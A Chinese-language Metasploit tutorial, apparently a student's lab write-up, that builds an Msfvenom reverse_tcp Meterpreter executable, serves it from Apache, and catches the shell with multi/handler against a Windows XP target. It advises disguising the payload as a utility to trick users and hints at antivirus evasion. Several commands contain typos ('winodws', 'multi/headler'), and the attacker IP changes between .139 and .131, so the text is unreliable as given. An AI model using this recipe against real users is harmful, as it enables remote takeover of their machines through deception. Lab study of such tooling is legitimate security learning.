实验环境:
黑客主机:Kali Linux
目标主机:Windows XP SP2
Metasploit项目于2011年推出了Msfvenom。在Msfvenom问世之前,我们要并有Msfpayload和Msfencode才能做出独立封装的Metasploit有效载荷(payload),这两款工具能够生成包括Windows可执行文件、ASP网页格式在内的各种有效载荷。
在Msfvenom问世之后,Metasploit依旧在工具包保留了Msfpayload和Msfencode(Kali-Msf6当中对其进行优化,所以已经这两款工具已经没有了)。然而不可否认的是,Msfvenom已经全面整合了那两款工具的所有功能。如需了解Msfvenom的各项功能,可使用msfvenom -h命令查看它的帮助信息。
msfvenom -h
在使用Metasploit时,我们往往会利用某个安全缺陷夺取目标主机的控制权。然而Msfvenom的玩法却有些不一样:可以跳过尚未修补的安全缺陷和其他的软件安全问题,直接攻击一种可能永远无法彻底完备的安全要素——计算机用户。
可以使用Msfvenom生成一个可独立运行的有效载荷,然后用它实施社会工程学攻击,或者借助某种安全缺陷把它上传到服务器上。即使其他类型的技术攻击系数落败,我们总是能够碰到那些着道的计算机用户。
检索全部有效载荷的命令是 Msfvenom -l payloads
Msfvenom -l payloads
以MS08-067为例,选用有效载荷是windows/Meterpreter/reverse_tcp。我们将通过这个有效载荷回连渗透主机,继而开启Meterpreter会话。在Msfvenom的命令行当中,可通过-p选项设定具体的有效载荷。
windows/meterpreter_reverse_tcp -- Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
在选定有效载荷之后,可以使用 -O选项设定既定模块的相应选项,清单如下
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.5.139 lport=12345 -f exe -o payload.exe
在这里插入代码片
在使用反射型有效载荷时,还得设定它的LHOST选项,比如
LHOST=192.168.5.139
即目标主机的回连IP(请设定为Kali主机的IP地址)。本例LPORT的默认值为4444,当然也可以设定LPORT=12345这样的等号赋值语句来调整默认端口。以及退出方式EXITFUNC的默认值。
接下来还需要设定输出文件的输出格式(虽然好像上面已经给出了 .exe Windows可执行文件)。由Msfvenom生成的这个文件,是由Windows的可执行文件,还是要上传到Web服务器的ASP文件?如需要查看Msfvenom支持的全部文件类型,请使用
msfvenom --help-formats
命令。
使用 ==-f== 选项设定输出文件的类型,如下图所示
一般来说,直接运行上述命令只会在屏幕上看到一对乱码。这些乱码正是刚才指定的可执行的有效载荷的文件内容,实际上我们没需要去看这些乱码,而应当使用管道操作符把它输出文可执行文件。
进行上述操作后,屏幕上就不会出现练乱码了。当使用==file==命令探测文件类型时,就会看到这是一个可以运行与所有Windows平台的可执行程序。在某些情况下,反病毒程序可能会组织目标主机运行Metasploit生成的有效载荷。在这种情况下,就可以借鉴==混淆技术==,帮助这些有效载荷规避反病毒程序的检测。此外,还可以借鉴==社会工程学==的技术,诱使计算机用户下载、运行我们的有效载荷。
在诱使他人下载有效符合的时候,不少人都把渗透用的有效载荷存储到服务器上,把他们伪装成某种实用程序。这的确是种不错的渗透策略。本例就将再现这种手法,用Kali系统自带的Apache服务程序提供有效载荷的下载,以供目标主机下载我们的有效载荷。
首先使用cp payload.exe /var/www/html
命令把有效载荷的可执行文件复制到Apache的文件命令中去,然后再使用service apache2 start
命令启动Apache Web 服务
接下来,返回那台Windows XP 靶机,使用 Internet Explore 浏览器访问网址 Http://192.168.5.139/payload.exe,并下载这个文件。待做好其余的准备工作之后,再来启动这个程序
在着手利用目标主机的安全缺陷之前,得在Metasploit里设置好有效载荷的各项参数,然后把exploit 程序下发到靶机上。此后,令Msfconsole 利用那个编号为MS08-067 的安全缺陷,进而调用反射型shell的有效载荷。在此之后,Metasploit就会创建反向连接回连渗透主机的12345端口(默认为4444端口号)。不知道大家有没有注意到,此时我们尚未在渗透主机上启动那个受理反向连接的相应程序,因此那个有Msfvenom创建的有效载荷并不能完成预定任务。
请再次启动Msfconsole程序,并找到multi/headler模块。这个模块用于设置独立的连接受理程序。它就是我们缺少的最后一块拼图。并在Windows XP靶机上运行了反射型的攻击程序之后,还要用某个受理程序接受(应答)靶机发起的Meterpreter连接。如下所示,请使用use multi/handler
命令选用这个模块
Metasploit能够以多种方式受理远程连接。因此,首先要对multi/handler进行相应的设置。刚才使用Msfvenon创建了一个反射型的有效载荷,因此本例应当把有效载荷设置为window/meterpreter/reverse_tcp
。在使用set PAYLOAD window/meterpreter/reverse_tcp
命令进行相应设置之后,再用show options
命令查看哪些需要设置的选项,清单如下
use multi/handler
set PAYLOAD winodws/meterpreter/reverse_tcp
上述返回信息显示Metasploit需要设定的各项选项。在设置选项的时候,把LHOST选项设定为本地Kali系统的IP地址,再把LPORT选项设定为刚才Msfvenom里设定的那个端口号码(我设置的是12345端口)。就本例而言,这两项值分别是192.168.5.131和12345。在设置好的有效载荷的各想选项之后,使用exploit命令启动受理端程序,清单如下
可以看到,Metasploit 程序打开了12345号端口,以受理反向连接。在靶机上运行有效载荷之后,它会连接到上述受理程序在这里产生了一定的bug,没能在靶机上跑起来,但是,我把它放自己物理电脑上弄成功了,但是这是我在把360关了之后才能控制自己的电脑,那么接下来就要开始学习如何规避反病毒软件检测了,加油
本文作者:Hnucm_Security, 转载请注明来自FreeBuf.COM
该内容转载自网络,仅供学习交流,勿作他用,如有侵权请联系删除。
关 注 有 礼
欢迎关注公众号:Web安全工具库